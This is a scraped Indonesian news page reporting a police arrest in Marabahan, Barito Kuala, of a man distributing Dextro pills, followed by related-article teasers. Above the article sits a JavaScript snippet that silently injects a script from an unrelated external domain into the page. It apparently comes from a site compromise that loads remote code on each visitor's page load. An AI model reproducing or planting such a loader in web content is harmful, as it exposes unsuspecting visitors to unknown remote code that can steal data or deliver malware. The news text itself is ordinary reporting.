(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN,MARABAHAN-Jajaran Polsek Marabahan Kota, amankan seorang pria berinisial T (51) warga Kecamatan Mekarsari, Kabupaten Batola, lantaran mengedarkan ratusan butir pil Dexstro.
“Adapun pelaku pengedar obat obatan terlarang ini kita amankan saat pelaku ingin melakukan transaksi di siring taman Marabahan belum lama tadi,” kata Kapolres Batola melalui Kapolsek Marabahan Ipda H.Rahman
Lanjut Rahman, setelah dilakukan penggeledahan terhadap pelaku didapati 1 bungkus plastik berisikan pil Dextro sebanyak 681butir, uang tunai dan 73 lembar plastik klip yang nantinya digunakan pelaku untuk menjual pil dextro tersebut.
Atas perbuatannya sekarang pelaku diamankan di Polres Barito Kuala dan diancam pasal 197 Jo pasal 106 ayat 1 uu RI no.36 tahun 2009 tentang kesehatan. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, JAKARTA – Pucuk pimpinan Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) resmi berganti. Tongkat komando… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Ulang… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perhubungan (Dishub) Kabupaten Balangan siapkan masterplan Penerangan Jalan Umum (PJU) untuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekertaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana memberikan respon positif… Read More
KANALKALIMANTAN.COM, PONTIANAK - Dalam upaya menjaga keandalan Sistem Kelistrikan Khatulistiwa, PT PLN (Persero) Unit Induk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024 dipastikan dimenangkan… Read More
This website uses cookies.